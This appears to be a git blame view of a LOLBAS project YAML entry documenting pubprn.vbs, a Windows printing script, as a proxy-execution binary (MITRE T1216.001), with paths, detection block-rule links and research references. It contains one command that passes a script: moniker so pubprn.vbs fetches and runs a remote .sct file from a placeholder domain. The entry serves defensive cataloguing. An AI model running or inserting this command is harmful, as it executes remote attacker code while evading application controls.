2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Pubprn.vbs
|
2018-09-26 11:41:58 +02:00
|
|
|
Description:
|
|
|
|
Author: 'Oddvar Moe'
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
|
|
|
- Command: pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct
|
2018-09-26 11:41:58 +02:00
|
|
|
Description: Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection
|
|
|
|
Usecase: Proxy execution
|
|
|
|
Category: Execute
|
|
|
|
Privileges: User
|
2021-11-05 21:17:04 +01:00
|
|
|
MitreID: T1216.001
|
2018-09-26 11:41:58 +02:00
|
|
|
OperatingSystem: Windows 10
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-26 11:41:58 +02:00
|
|
|
- Path: C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
|
|
|
|
- Path: C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs
|
2021-01-10 16:04:52 +01:00
|
|
|
Code_Sample:
|
2018-09-26 11:41:58 +02:00
|
|
|
- Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSScripts/Payload/Pubprn_calc.sct
|
|
|
|
Detection:
|
2021-11-15 14:19:03 +01:00
|
|
|
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-26 11:41:58 +02:00
|
|
|
- Link: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
|
|
|
|
- Link: https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
|
|
|
|
- Link: https://github.com/enigma0x3/windows-operating-system-archaeology
|
|
|
|
Acknowledgement:
|
|
|
|
- Person: Matt Nelson
|
|
|
|
Handle: '@enigma0x3'
|
2021-01-10 16:04:52 +01:00
|
|
|
---
|